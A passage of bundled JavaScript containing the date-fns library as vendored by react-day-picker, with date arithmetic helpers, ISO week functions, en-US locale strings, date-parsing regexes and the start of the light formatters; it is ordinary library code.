51569 var secondsInQuarter2 = secondsInMonth2 * 3;
51570 var constructFromSymbol = /* @__PURE__ */ Symbol.for("constructDateFrom");
51571
51572 // node_modules/react-day-picker/node_modules/date-fns/constructFrom.js
51573 function constructFrom2(date, value) {
51574 if (typeof date === "function") return date(value);
51575 if (date && typeof date === "object" && constructFromSymbol in date)
51576 return date[constructFromSymbol](value);
51577 if (date instanceof Date) return new date.constructor(value);
51578 return new Date(value);
51579 }
51580
51581 // node_modules/react-day-picker/node_modules/date-fns/toDate.js
51582 function toDate2(argument, context) {
51583 return constructFrom2(context || argument, argument);
51584 }
51585
51586 // node_modules/react-day-picker/node_modules/date-fns/addDays.js
51587 function addDays2(date, amount, options2) {
51588 const _date = toDate2(date, options2?.in);
51589 if (isNaN(amount)) return constructFrom2(options2?.in || date, NaN);
51590 if (!amount) return _date;
51591 _date.setDate(_date.getDate() + amount);
51592 return _date;
51593 }
51594
51595 // node_modules/react-day-picker/node_modules/date-fns/addMonths.js
51596 function addMonths2(date, amount, options2) {
51597 const _date = toDate2(date, options2?.in);
51598 if (isNaN(amount)) return constructFrom2(options2?.in || date, NaN);
51599 if (!amount) {
51600 return _date;
51601 }
51602 const dayOfMonth = _date.getDate();
51603 const endOfDesiredMonth = constructFrom2(options2?.in || date, _date.getTime());
51604 endOfDesiredMonth.setMonth(_date.getMonth() + amount + 1, 0);
51605 const daysInMonth = endOfDesiredMonth.getDate();
51606 if (dayOfMonth >= daysInMonth) {
51607 return endOfDesiredMonth;
51608 } else {
51609 _date.setFullYear(
51610 endOfDesiredMonth.getFullYear(),
51611 endOfDesiredMonth.getMonth(),
51612 dayOfMonth
51613 );
51614 return _date;
51615 }
51616 }
51617
51618 // node_modules/react-day-picker/node_modules/date-fns/_lib/defaultOptions.js
51619 var defaultOptions3 = {};
51620 function getDefaultOptions2() {
51621 return defaultOptions3;
51622 }
51623
51624 // node_modules/react-day-picker/node_modules/date-fns/startOfWeek.js
51625 function startOfWeek2(date, options2) {
51626 const defaultOptions4 = getDefaultOptions2();
51627 const weekStartsOn = options2?.weekStartsOn ?? options2?.locale?.options?.weekStartsOn ?? defaultOptions4.weekStartsOn ?? defaultOptions4.locale?.options?.weekStartsOn ?? 0;
51628 const _date = toDate2(date, options2?.in);
51629 const day = _date.getDay();
51630 const diff = (day < weekStartsOn ? 7 : 0) + day - weekStartsOn;
51631 _date.setDate(_date.getDate() - diff);
51632 _date.setHours(0, 0, 0, 0);
51633 return _date;
51634 }
51635
51636 // node_modules/react-day-picker/node_modules/date-fns/startOfISOWeek.js
51637 function startOfISOWeek(date, options2) {
51638 return startOfWeek2(date, { ...options2, weekStartsOn: 1 });
51639 }
51640
51641 // node_modules/react-day-picker/node_modules/date-fns/getISOWeekYear.js
51642 function getISOWeekYear(date, options2) {
51643 const _date = toDate2(date, options2?.in);
51644 const year = _date.getFullYear();
51645 const fourthOfJanuaryOfNextYear = constructFrom2(_date, 0);
51646 fourthOfJanuaryOfNextYear.setFullYear(year + 1, 0, 4);
51647 fourthOfJanuaryOfNextYear.setHours(0, 0, 0, 0);
51648 const startOfNextYear = startOfISOWeek(fourthOfJanuaryOfNextYear);
51649 const fourthOfJanuaryOfThisYear = constructFrom2(_date, 0);
51650 fourthOfJanuaryOfThisYear.setFullYear(year, 0, 4);
51651 fourthOfJanuaryOfThisYear.setHours(0, 0, 0, 0);
51652 const startOfThisYear = startOfISOWeek(fourthOfJanuaryOfThisYear);
51653 if (_date.getTime() >= startOfNextYear.getTime()) {
51654 return year + 1;
51655 } else if (_date.getTime() >= startOfThisYear.getTime()) {
51656 return year;
51657 } else {
51658 return year - 1;
51659 }
51660 }
51661
51662 // node_modules/react-day-picker/node_modules/date-fns/_lib/getTimezoneOffsetInMilliseconds.js
51663 function getTimezoneOffsetInMilliseconds2(date) {
51664 const _date = toDate2(date);
51665 const utcDate = new Date(
51666 Date.UTC(
51667 _date.getFullYear(),
51668 _date.getMonth(),
51669 _date.getDate(),
51670 _date.getHours(),
51671 _date.getMinutes(),
51672 _date.getSeconds(),
51673 _date.getMilliseconds()
51674 )
51675 );
51676 utcDate.setUTCFullYear(_date.getFullYear());
51677 return +date - +utcDate;
51678 }
51679
51680 // node_modules/react-day-picker/node_modules/date-fns/_lib/normalizeDates.js
51681 function normalizeDates(context, ...dates) {
51682 const normalize2 = constructFrom2.bind(
51683 null,
51684 context || dates.find((date) => typeof date === "object")
51685 );
51686 return dates.map(normalize2);
51687 }
51688
51689 // node_modules/react-day-picker/node_modules/date-fns/startOfDay.js
51690 function startOfDay2(date, options2) {
51691 const _date = toDate2(date, options2?.in);
51692 _date.setHours(0, 0, 0, 0);
51693 return _date;
51694 }
51695
51696 // node_modules/react-day-picker/node_modules/date-fns/differenceInCalendarDays.js
51697 function differenceInCalendarDays2(laterDate, earlierDate, options2) {
51698 const [laterDate_, earlierDate_] = normalizeDates(
51699 options2?.in,
51700 laterDate,
51701 earlierDate
51702 );
51703 const laterStartOfDay = startOfDay2(laterDate_);
51704 const earlierStartOfDay = startOfDay2(earlierDate_);
51705 const laterTimestamp = +laterStartOfDay - getTimezoneOffsetInMilliseconds2(laterStartOfDay);
51706 const earlierTimestamp = +earlierStartOfDay - getTimezoneOffsetInMilliseconds2(earlierStartOfDay);
51707 return Math.round((laterTimestamp - earlierTimestamp) / millisecondsInDay2);
51708 }
51709
51710 // node_modules/react-day-picker/node_modules/date-fns/startOfISOWeekYear.js
51711 function startOfISOWeekYear(date, options2) {
51712 const year = getISOWeekYear(date, options2);
51713 const fourthOfJanuary = constructFrom2(options2?.in || date, 0);
51714 fourthOfJanuary.setFullYear(year, 0, 4);
51715 fourthOfJanuary.setHours(0, 0, 0, 0);
51716 return startOfISOWeek(fourthOfJanuary);
51717 }
51718
51719 // node_modules/react-day-picker/node_modules/date-fns/addWeeks.js
51720 function addWeeks2(date, amount, options2) {
51721 return addDays2(date, amount * 7, options2);
51722 }
51723
51724 // node_modules/react-day-picker/node_modules/date-fns/addYears.js
51725 function addYears2(date, amount, options2) {
51726 return addMonths2(date, amount * 12, options2);
51727 }
51728
51729 // node_modules/react-day-picker/node_modules/date-fns/max.js
51730 function max2(dates, options2) {
51731 let result;
51732 let context = options2?.in;
51733 dates.forEach((date) => {
51734 if (!context && typeof date === "object")
51735 context = constructFrom2.bind(null, date);
51736 const date_ = toDate2(date, context);
51737 if (!result || result < date_ || isNaN(+date_)) result = date_;
51738 });
51739 return constructFrom2(context, result || NaN);
51740 }
51741
51742 // node_modules/react-day-picker/node_modules/date-fns/min.js
51743 function min2(dates, options2) {
51744 let result;
51745 let context = options2?.in;
51746 dates.forEach((date) => {
51747 if (!context && typeof date === "object")
51748 context = constructFrom2.bind(null, date);
51749 const date_ = toDate2(date, context);
51750 if (!result || result > date_ || isNaN(+date_)) result = date_;
51751 });
51752 return constructFrom2(context, result || NaN);
51753 }
51754
51755 // node_modules/react-day-picker/node_modules/date-fns/isSameDay.js
51756 function isSameDay2(laterDate, earlierDate, options2) {
51757 const [dateLeft_, dateRight_] = normalizeDates(
51758 options2?.in,
51759 laterDate,
51760 earlierDate
51761 );
51762 return +startOfDay2(dateLeft_) === +startOfDay2(dateRight_);
51763 }
51764
51765 // node_modules/react-day-picker/node_modules/date-fns/isDate.js
51766 function isDate(value) {
51767 return value instanceof Date || typeof value === "object" && Object.prototype.toString.call(value) === "[object Date]";
51768 }
51769
51770 // node_modules/react-day-picker/node_modules/date-fns/isValid.js
51771 function isValid(date) {
51772 return !(!isDate(date) && typeof date !== "number" || isNaN(+toDate2(date)));
51773 }
51774
51775 // node_modules/react-day-picker/node_modules/date-fns/differenceInCalendarMonths.js
51776 function differenceInCalendarMonths(laterDate, earlierDate, options2) {
51777 const [laterDate_, earlierDate_] = normalizeDates(
51778 options2?.in,
51779 laterDate,
51780 earlierDate
51781 );
51782 const yearsDiff = laterDate_.getFullYear() - earlierDate_.getFullYear();
51783 const monthsDiff = laterDate_.getMonth() - earlierDate_.getMonth();
51784 return yearsDiff * 12 + monthsDiff;
51785 }
51786
51787 // node_modules/react-day-picker/node_modules/date-fns/endOfMonth.js
51788 function endOfMonth2(date, options2) {
51789 const _date = toDate2(date, options2?.in);
51790 const month = _date.getMonth();
51791 _date.setFullYear(_date.getFullYear(), month + 1, 0);
51792 _date.setHours(23, 59, 59, 999);
51793 return _date;
51794 }
51795
51796 // node_modules/react-day-picker/node_modules/date-fns/_lib/normalizeInterval.js
51797 function normalizeInterval(context, interval) {
51798 const [start, end] = normalizeDates(context, interval.start, interval.end);
51799 return { start, end };
51800 }
51801
51802 // node_modules/react-day-picker/node_modules/date-fns/eachMonthOfInterval.js
51803 function eachMonthOfInterval2(interval, options2) {
51804 const { start, end } = normalizeInterval(options2?.in, interval);
51805 let reversed = +start > +end;
51806 const endTime = reversed ? +start : +end;
51807 const date = reversed ? end : start;
51808 date.setHours(0, 0, 0, 0);
51809 date.setDate(1);
51810 let step = options2?.step ?? 1;
51811 if (!step) return [];
51812 if (step < 0) {
51813 step = -step;
51814 reversed = !reversed;
51815 }
51816 const dates = [];
51817 while (+date <= endTime) {
51818 dates.push(constructFrom2(start, date));
51819 date.setMonth(date.getMonth() + step);
51820 }
51821 return reversed ? dates.reverse() : dates;
51822 }
51823
51824 // node_modules/react-day-picker/node_modules/date-fns/startOfMonth.js
51825 function startOfMonth2(date, options2) {
51826 const _date = toDate2(date, options2?.in);
51827 _date.setDate(1);
51828 _date.setHours(0, 0, 0, 0);
51829 return _date;
51830 }
51831
51832 // node_modules/react-day-picker/node_modules/date-fns/endOfYear.js
51833 function endOfYear(date, options2) {
51834 const _date = toDate2(date, options2?.in);
51835 const year = _date.getFullYear();
51836 _date.setFullYear(year + 1, 0, 0);
51837 _date.setHours(23, 59, 59, 999);
51838 return _date;
51839 }
51840
51841 // node_modules/react-day-picker/node_modules/date-fns/startOfYear.js
51842 function startOfYear(date, options2) {
51843 const date_ = toDate2(date, options2?.in);
51844 date_.setFullYear(date_.getFullYear(), 0, 1);
51845 date_.setHours(0, 0, 0, 0);
51846 return date_;
51847 }
51848
51849 // node_modules/react-day-picker/node_modules/date-fns/endOfWeek.js
51850 function endOfWeek2(date, options2) {
51851 const defaultOptions4 = getDefaultOptions2();
51852 const weekStartsOn = options2?.weekStartsOn ?? options2?.locale?.options?.weekStartsOn ?? defaultOptions4.weekStartsOn ?? defaultOptions4.locale?.options?.weekStartsOn ?? 0;
51853 const _date = toDate2(date, options2?.in);
51854 const day = _date.getDay();
51855 const diff = (day < weekStartsOn ? -7 : 0) + 6 - (day - weekStartsOn);
51856 _date.setDate(_date.getDate() + diff);
51857 _date.setHours(23, 59, 59, 999);
51858 return _date;
51859 }
51860
51861 // node_modules/react-day-picker/node_modules/date-fns/endOfISOWeek.js
51862 function endOfISOWeek(date, options2) {
51863 return endOfWeek2(date, { ...options2, weekStartsOn: 1 });
51864 }
51865
51866 // node_modules/react-day-picker/node_modules/date-fns/locale/en-US/_lib/formatDistance.js
51867 var formatDistanceLocale = {
51868 lessThanXSeconds: {
51869 one: "less than a second",
51870 other: "less than {{count}} seconds"
51871 },
51872 xSeconds: {
51873 one: "1 second",
51874 other: "{{count}} seconds"
51875 },
51876 halfAMinute: "half a minute",
51877 lessThanXMinutes: {
51878 one: "less than a minute",
51879 other: "less than {{count}} minutes"
51880 },
51881 xMinutes: {
51882 one: "1 minute",
51883 other: "{{count}} minutes"
51884 },
51885 aboutXHours: {
51886 one: "about 1 hour",
51887 other: "about {{count}} hours"
51888 },
51889 xHours: {
51890 one: "1 hour",
51891 other: "{{count}} hours"
51892 },
51893 xDays: {
51894 one: "1 day",
51895 other: "{{count}} days"
51896 },
51897 aboutXWeeks: {
51898 one: "about 1 week",
51899 other: "about {{count}} weeks"
51900 },
51901 xWeeks: {
51902 one: "1 week",
51903 other: "{{count}} weeks"
51904 },
51905 aboutXMonths: {
51906 one: "about 1 month",
51907 other: "about {{count}} months"
51908 },
51909 xMonths: {
51910 one: "1 month",
51911 other: "{{count}} months"
51912 },
51913 aboutXYears: {
51914 one: "about 1 year",
51915 other: "about {{count}} years"
51916 },
51917 xYears: {
51918 one: "1 year",
51919 other: "{{count}} years"
51920 },
51921 overXYears: {
51922 one: "over 1 year",
51923 other: "over {{count}} years"
51924 },
51925 almostXYears: {
51926 one: "almost 1 year",
51927 other: "almost {{count}} years"
51928 }
51929 };
51930 var formatDistance = (token2, count, options2) => {
51931 let result;
51932 const tokenValue = formatDistanceLocale[token2];
51933 if (typeof tokenValue === "string") {
51934 result = tokenValue;
51935 } else if (count === 1) {
51936 result = tokenValue.one;
51937 } else {
51938 result = tokenValue.other.replace("{{count}}", count.toString());
51939 }
51940 if (options2?.addSuffix) {
51941 if (options2.comparison && options2.comparison > 0) {
51942 return "in " + result;
51943 } else {
51944 return result + " ago";
51945 }
51946 }
51947 return result;
51948 };
51949
51950 // node_modules/react-day-picker/node_modules/date-fns/locale/_lib/buildFormatLongFn.js
51951 function buildFormatLongFn(args) {
51952 return (options2 = {}) => {
51953 const width = options2.width ? String(options2.width) : args.defaultWidth;
51954 const format2 = args.formats[width] || args.formats[args.defaultWidth];
51955 return format2;
51956 };
51957 }
51958
51959 // node_modules/react-day-picker/node_modules/date-fns/locale/en-US/_lib/formatLong.js
51960 var dateFormats = {
51961 full: "EEEE, MMMM do, y",
51962 long: "MMMM do, y",
51963 medium: "MMM d, y",
51964 short: "MM/dd/yyyy"
51965 };
51966 var timeFormats = {
51967 full: "h:mm:ss a zzzz",
51968 long: "h:mm:ss a z",
51969 medium: "h:mm:ss a",
51970 short: "h:mm a"
51971 };
51972 var dateTimeFormats = {
51973 full: "{{date}} 'at' {{time}}",
51974 long: "{{date}} 'at' {{time}}",
51975 medium: "{{date}}, {{time}}",
51976 short: "{{date}}, {{time}}"
51977 };
51978 var formatLong = {
51979 date: buildFormatLongFn({
51980 formats: dateFormats,
51981 defaultWidth: "full"
51982 }),
51983 time: buildFormatLongFn({
51984 formats: timeFormats,
51985 defaultWidth: "full"
51986 }),
51987 dateTime: buildFormatLongFn({
51988 formats: dateTimeFormats,
51989 defaultWidth: "full"
51990 })
51991 };
51992
51993 // node_modules/react-day-picker/node_modules/date-fns/locale/en-US/_lib/formatRelative.js
51994 var formatRelativeLocale = {
51995 lastWeek: "'last' eeee 'at' p",
51996 yesterday: "'yesterday at' p",
51997 today: "'today at' p",
51998 tomorrow: "'tomorrow at' p",
51999 nextWeek: "eeee 'at' p",
52000 other: "P"
52001 };
52002 var formatRelative = (token2, _date, _baseDate, _options) => formatRelativeLocale[token2];
52003
52004 // node_modules/react-day-picker/node_modules/date-fns/locale/_lib/buildLocalizeFn.js
52005 function buildLocalizeFn(args) {
52006 return (value, options2) => {
52007 const context = options2?.context ? String(options2.context) : "standalone";
52008 let valuesArray;
52009 if (context === "formatting" && args.formattingValues) {
52010 const defaultWidth = args.defaultFormattingWidth || args.defaultWidth;
52011 const width = options2?.width ? String(options2.width) : defaultWidth;
52012 valuesArray = args.formattingValues[width] || args.formattingValues[defaultWidth];
52013 } else {
52014 const defaultWidth = args.defaultWidth;
52015 const width = options2?.width ? String(options2.width) : args.defaultWidth;
52016 valuesArray = args.values[width] || args.values[defaultWidth];
52017 }
52018 const index2 = args.argumentCallback ? args.argumentCallback(value) : value;
52019 return valuesArray[index2];
52020 };
52021 }
52022
52023 // node_modules/react-day-picker/node_modules/date-fns/locale/en-US/_lib/localize.js
52024 var eraValues = {
52025 narrow: ["B", "A"],
52026 abbreviated: ["BC", "AD"],
52027 wide: ["Before Christ", "Anno Domini"]
52028 };
52029 var quarterValues = {
52030 narrow: ["1", "2", "3", "4"],
52031 abbreviated: ["Q1", "Q2", "Q3", "Q4"],
52032 wide: ["1st quarter", "2nd quarter", "3rd quarter", "4th quarter"]
52033 };
52034 var monthValues = {
52035 narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D"],
52036 abbreviated: [
52037 "Jan",
52038 "Feb",
52039 "Mar",
52040 "Apr",
52041 "May",
52042 "Jun",
52043 "Jul",
52044 "Aug",
52045 "Sep",
52046 "Oct",
52047 "Nov",
52048 "Dec"
52049 ],
52050 wide: [
52051 "January",
52052 "February",
52053 "March",
52054 "April",
52055 "May",
52056 "June",
52057 "July",
52058 "August",
52059 "September",
52060 "October",
52061 "November",
52062 "December"
52063 ]
52064 };
52065 var dayValues = {
52066 narrow: ["S", "M", "T", "W", "T", "F", "S"],
52067 short: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"],
52068 abbreviated: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
52069 wide: [
52070 "Sunday",
52071 "Monday",
52072 "Tuesday",
52073 "Wednesday",
52074 "Thursday",
52075 "Friday",
52076 "Saturday"
52077 ]
52078 };
52079 var dayPeriodValues = {
52080 narrow: {
52081 am: "a",
52082 pm: "p",
52083 midnight: "mi",
52084 noon: "n",
52085 morning: "morning",
52086 afternoon: "afternoon",
52087 evening: "evening",
52088 night: "night"
52089 },
52090 abbreviated: {
52091 am: "AM",
52092 pm: "PM",
52093 midnight: "midnight",
52094 noon: "noon",
52095 morning: "morning",
52096 afternoon: "afternoon",
52097 evening: "evening",
52098 night: "night"
52099 },
52100 wide: {
52101 am: "a.m.",
52102 pm: "p.m.",
52103 midnight: "midnight",
52104 noon: "noon",
52105 morning: "morning",
52106 afternoon: "afternoon",
52107 evening: "evening",
52108 night: "night"
52109 }
52110 };
52111 var formattingDayPeriodValues = {
52112 narrow: {
52113 am: "a",
52114 pm: "p",
52115 midnight: "mi",
52116 noon: "n",
52117 morning: "in the morning",
52118 afternoon: "in the afternoon",
52119 evening: "in the evening",
52120 night: "at night"
52121 },
52122 abbreviated: {
52123 am: "AM",
52124 pm: "PM",
52125 midnight: "midnight",
52126 noon: "noon",
52127 morning: "in the morning",
52128 afternoon: "in the afternoon",
52129 evening: "in the evening",
52130 night: "at night"
52131 },
52132 wide: {
52133 am: "a.m.",
52134 pm: "p.m.",
52135 midnight: "midnight",
52136 noon: "noon",
52137 morning: "in the morning",
52138 afternoon: "in the afternoon",
52139 evening: "in the evening",
52140 night: "at night"
52141 }
52142 };
52143 var ordinalNumber = (dirtyNumber, _options) => {
52144 const number2 = Number(dirtyNumber);
52145 const rem100 = number2 % 100;
52146 if (rem100 > 20 || rem100 < 10) {
52147 switch (rem100 % 10) {
52148 case 1:
52149 return number2 + "st";
52150 case 2:
52151 return number2 + "nd";
52152 case 3:
52153 return number2 + "rd";
52154 }
52155 }
52156 return number2 + "th";
52157 };
52158 var localize = {
52159 ordinalNumber,
52160 era: buildLocalizeFn({
52161 values: eraValues,
52162 defaultWidth: "wide"
52163 }),
52164 quarter: buildLocalizeFn({
52165 values: quarterValues,
52166 defaultWidth: "wide",
52167 argumentCallback: (quarter) => quarter - 1
52168 }),
52169 month: buildLocalizeFn({
52170 values: monthValues,
52171 defaultWidth: "wide"
52172 }),
52173 day: buildLocalizeFn({
52174 values: dayValues,
52175 defaultWidth: "wide"
52176 }),
52177 dayPeriod: buildLocalizeFn({
52178 values: dayPeriodValues,
52179 defaultWidth: "wide",
52180 formattingValues: formattingDayPeriodValues,
52181 defaultFormattingWidth: "wide"
52182 })
52183 };
52184
52185 // node_modules/react-day-picker/node_modules/date-fns/locale/_lib/buildMatchFn.js
52186 function buildMatchFn(args) {
52187 return (string, options2 = {}) => {
52188 const width = options2.width;
52189 const matchPattern = width && args.matchPatterns[width] || args.matchPatterns[args.defaultMatchWidth];
52190 const matchResult = string.match(matchPattern);
52191 if (!matchResult) {
52192 return null;
52193 }
52194 const matchedString = matchResult[0];
52195 const parsePatterns = width && args.parsePatterns[width] || args.parsePatterns[args.defaultParseWidth];
52196 const key = Array.isArray(parsePatterns) ? findIndex(parsePatterns, (pattern) => pattern.test(matchedString)) : (
52197 // [TODO] -- I challenge you to fix the type
52198 findKey(parsePatterns, (pattern) => pattern.test(matchedString))
52199 );
52200 let value;
52201 value = args.valueCallback ? args.valueCallback(key) : key;
52202 value = options2.valueCallback ? (
52203 // [TODO] -- I challenge you to fix the type
52204 options2.valueCallback(value)
52205 ) : value;
52206 const rest = string.slice(matchedString.length);
52207 return { value, rest };
52208 };
52209 }
52210 function findKey(object, predicate) {
52211 for (const key in object) {
52212 if (Object.prototype.hasOwnProperty.call(object, key) && predicate(object[key])) {
52213 return key;
52214 }
52215 }
52216 return void 0;
52217 }
52218 function findIndex(array, predicate) {
52219 for (let key = 0; key < array.length; key++) {
52220 if (predicate(array[key])) {
52221 return key;
52222 }
52223 }
52224 return void 0;
52225 }
52226
52227 // node_modules/react-day-picker/node_modules/date-fns/locale/_lib/buildMatchPatternFn.js
52228 function buildMatchPatternFn(args) {
52229 return (string, options2 = {}) => {
52230 const matchResult = string.match(args.matchPattern);
52231 if (!matchResult) return null;
52232 const matchedString = matchResult[0];
52233 const parseResult = string.match(args.parsePattern);
52234 if (!parseResult) return null;
52235 let value = args.valueCallback ? args.valueCallback(parseResult[0]) : parseResult[0];
52236 value = options2.valueCallback ? options2.valueCallback(value) : value;
52237 const rest = string.slice(matchedString.length);
52238 return { value, rest };
52239 };
52240 }
52241
52242 // node_modules/react-day-picker/node_modules/date-fns/locale/en-US/_lib/match.js
52243 var matchOrdinalNumberPattern = /^(\d+)(th|st|nd|rd)?/i;
52244 var parseOrdinalNumberPattern = /\d+/i;
52245 var matchEraPatterns = {
52246 narrow: /^(b|a)/i,
52247 abbreviated: /^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,
52248 wide: /^(before christ|before common era|anno domini|common era)/i
52249 };
52250 var parseEraPatterns = {
52251 any: [/^b/i, /^(a|c)/i]
52252 };
52253 var matchQuarterPatterns = {
52254 narrow: /^[1234]/i,
52255 abbreviated: /^q[1234]/i,
52256 wide: /^[1234](th|st|nd|rd)? quarter/i
52257 };
52258 var parseQuarterPatterns = {
52259 any: [/1/i, /2/i, /3/i, /4/i]
52260 };
52261 var matchMonthPatterns = {
52262 narrow: /^[jfmasond]/i,
52263 abbreviated: /^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,
52264 wide: /^(january|february|march|april|may|june|july|august|september|october|november|december)/i
52265 };
52266 var parseMonthPatterns = {
52267 narrow: [
52268 /^j/i,
52269 /^f/i,
52270 /^m/i,
52271 /^a/i,
52272 /^m/i,
52273 /^j/i,
52274 /^j/i,
52275 /^a/i,
52276 /^s/i,
52277 /^o/i,
52278 /^n/i,
52279 /^d/i
52280 ],
52281 any: [
52282 /^ja/i,
52283 /^f/i,
52284 /^mar/i,
52285 /^ap/i,
52286 /^may/i,
52287 /^jun/i,
52288 /^jul/i,
52289 /^au/i,
52290 /^s/i,
52291 /^o/i,
52292 /^n/i,
52293 /^d/i
52294 ]
52295 };
52296 var matchDayPatterns = {
52297 narrow: /^[smtwf]/i,
52298 short: /^(su|mo|tu|we|th|fr|sa)/i,
52299 abbreviated: /^(sun|mon|tue|wed|thu|fri|sat)/i,
52300 wide: /^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i
52301 };
52302 var parseDayPatterns = {
52303 narrow: [/^s/i, /^m/i, /^t/i, /^w/i, /^t/i, /^f/i, /^s/i],
52304 any: [/^su/i, /^m/i, /^tu/i, /^w/i, /^th/i, /^f/i, /^sa/i]
52305 };
52306 var matchDayPeriodPatterns = {
52307 narrow: /^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,
52308 any: /^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i
52309 };
52310 var parseDayPeriodPatterns = {
52311 any: {
52312 am: /^a/i,
52313 pm: /^p/i,
52314 midnight: /^mi/i,
52315 noon: /^no/i,
52316 morning: /morning/i,
52317 afternoon: /afternoon/i,
52318 evening: /evening/i,
52319 night: /night/i
52320 }
52321 };
52322 var match3 = {
52323 ordinalNumber: buildMatchPatternFn({
52324 matchPattern: matchOrdinalNumberPattern,
52325 parsePattern: parseOrdinalNumberPattern,
52326 valueCallback: (value) => parseInt(value, 10)
52327 }),
52328 era: buildMatchFn({
52329 matchPatterns: matchEraPatterns,
52330 defaultMatchWidth: "wide",
52331 parsePatterns: parseEraPatterns,
52332 defaultParseWidth: "any"
52333 }),
52334 quarter: buildMatchFn({
52335 matchPatterns: matchQuarterPatterns,
52336 defaultMatchWidth: "wide",
52337 parsePatterns: parseQuarterPatterns,
52338 defaultParseWidth: "any",
52339 valueCallback: (index2) => index2 + 1
52340 }),
52341 month: buildMatchFn({
52342 matchPatterns: matchMonthPatterns,
52343 defaultMatchWidth: "wide",
52344 parsePatterns: parseMonthPatterns,
52345 defaultParseWidth: "any"
52346 }),
52347 day: buildMatchFn({
52348 matchPatterns: matchDayPatterns,
52349 defaultMatchWidth: "wide",
52350 parsePatterns: parseDayPatterns,
52351 defaultParseWidth: "any"
52352 }),
52353 dayPeriod: buildMatchFn({
52354 matchPatterns: matchDayPeriodPatterns,
52355 defaultMatchWidth: "any",
52356 parsePatterns: parseDayPeriodPatterns,
52357 defaultParseWidth: "any"
52358 })
52359 };
52360
52361 // node_modules/react-day-picker/node_modules/date-fns/locale/en-US.js
52362 var enUS = {
52363 code: "en-US",
52364 formatDistance,
52365 formatLong,
52366 formatRelative,
52367 localize,
52368 match: match3,
52369 options: {
52370 weekStartsOn: 0,
52371 firstWeekContainsDate: 1
52372 }
52373 };
52374
52375 // node_modules/react-day-picker/node_modules/date-fns/getDayOfYear.js
52376 function getDayOfYear(date, options2) {
52377 const _date = toDate2(date, options2?.in);
52378 const diff = differenceInCalendarDays2(_date, startOfYear(_date));
52379 const dayOfYear = diff + 1;
52380 return dayOfYear;
52381 }
52382
52383 // node_modules/react-day-picker/node_modules/date-fns/getISOWeek.js
52384 function getISOWeek(date, options2) {
52385 const _date = toDate2(date, options2?.in);
52386 const diff = +startOfISOWeek(_date) - +startOfISOWeekYear(_date);
52387 return Math.round(diff / millisecondsInWeek) + 1;
52388 }
52389
52390 // node_modules/react-day-picker/node_modules/date-fns/getWeekYear.js
52391 function getWeekYear(date, options2) {
52392 const _date = toDate2(date, options2?.in);
52393 const year = _date.getFullYear();
52394 const defaultOptions4 = getDefaultOptions2();
52395 const firstWeekContainsDate = options2?.firstWeekContainsDate ?? options2?.locale?.options?.firstWeekContainsDate ?? defaultOptions4.firstWeekContainsDate ?? defaultOptions4.locale?.options?.firstWeekContainsDate ?? 1;
52396 const firstWeekOfNextYear = constructFrom2(options2?.in || date, 0);
52397 firstWeekOfNextYear.setFullYear(year + 1, 0, firstWeekContainsDate);
52398 firstWeekOfNextYear.setHours(0, 0, 0, 0);
52399 const startOfNextYear = startOfWeek2(firstWeekOfNextYear, options2);
52400 const firstWeekOfThisYear = constructFrom2(options2?.in || date, 0);
52401 firstWeekOfThisYear.setFullYear(year, 0, firstWeekContainsDate);
52402 firstWeekOfThisYear.setHours(0, 0, 0, 0);
52403 const startOfThisYear = startOfWeek2(firstWeekOfThisYear, options2);
52404 if (+_date >= +startOfNextYear) {
52405 return year + 1;
52406 } else if (+_date >= +startOfThisYear) {
52407 return year;
52408 } else {
52409 return year - 1;
52410 }
52411 }
52412
52413 // node_modules/react-day-picker/node_modules/date-fns/startOfWeekYear.js
52414 function startOfWeekYear(date, options2) {
52415 const defaultOptions4 = getDefaultOptions2();
52416 const firstWeekContainsDate = options2?.firstWeekContainsDate ?? options2?.locale?.options?.firstWeekContainsDate ?? defaultOptions4.firstWeekContainsDate ?? defaultOptions4.locale?.options?.firstWeekContainsDate ?? 1;
52417 const year = getWeekYear(date, options2);
52418 const firstWeek = constructFrom2(options2?.in || date, 0);
52419 firstWeek.setFullYear(year, 0, firstWeekContainsDate);
52420 firstWeek.setHours(0, 0, 0, 0);
52421 const _date = startOfWeek2(firstWeek, options2);
52422 return _date;
52423 }
52424
52425 // node_modules/react-day-picker/node_modules/date-fns/getWeek.js
52426 function getWeek(date, options2) {
52427 const _date = toDate2(date, options2?.in);
52428 const diff = +startOfWeek2(_date, options2) - +startOfWeekYear(_date, options2);
52429 return Math.round(diff / millisecondsInWeek) + 1;
52430 }
52431
52432 // node_modules/react-day-picker/node_modules/date-fns/_lib/addLeadingZeros.js
52433 function addLeadingZeros(number2, targetLength) {
52434 const sign = number2 < 0 ? "-" : "";
52435 const output = Math.abs(number2).toString().padStart(targetLength, "0");
52436 return sign + output;
52437 }
52438
52439 // node_modules/react-day-picker/node_modules/date-fns/_lib/format/lightFormatters.js
52440 var lightFormatters = {
52441 // Year
52442 y(date, token2) {
52443 const signedYear = date.getFullYear();
52444 const year = signedYear > 0 ? signedYear : 1 - signedYear;
52445 return addLeadingZeros(token2 === "yy" ? year % 100 : year, token2.length);
52446 },
52447 // Month
52448 M(date, token2) {
52449 const month = date.getMonth();
52450 return token2 === "M" ? String(month + 1) : addLeadingZeros(month + 1, 2);
52451 },
52452 // Day of the month
52453 d(date, token2) {
52454 return addLeadingZeros(date.getDate(), token2.length);
52455 },
52456 // AM or PM
52457 a(date, token2) {
52458 const dayPeriodEnumValue = date.getHours() / 12 >= 1 ? "pm" : "am";
52459 switch (token2) {
52460 case "a":
52461 case "aa":
52462 return dayPeriodEnumValue.toUpperCase();
52463 case "aaa":
52464 return dayPeriodEnumValue;
52465 case "aaaaa":
52466 return dayPeriodEnumValue[0];
52467 case "aaaa":
52468 default:
52469 return dayPeriodEnumValue === "am" ? "a.m." : "p.m.";
52470 }
52471 },
52472 // Hour [1-12]
52473 h(date, token2) {
52474 return addLeadingZeros(date.getHours() % 12 || 12, token2.length);
52475 },
52476 // Hour [0-23]
52477 H(date, token2) {
52478 return addLeadingZeros(date.getHours(), token2.length);
52479 },
52480 // Minute
52481 m(date, token2) {
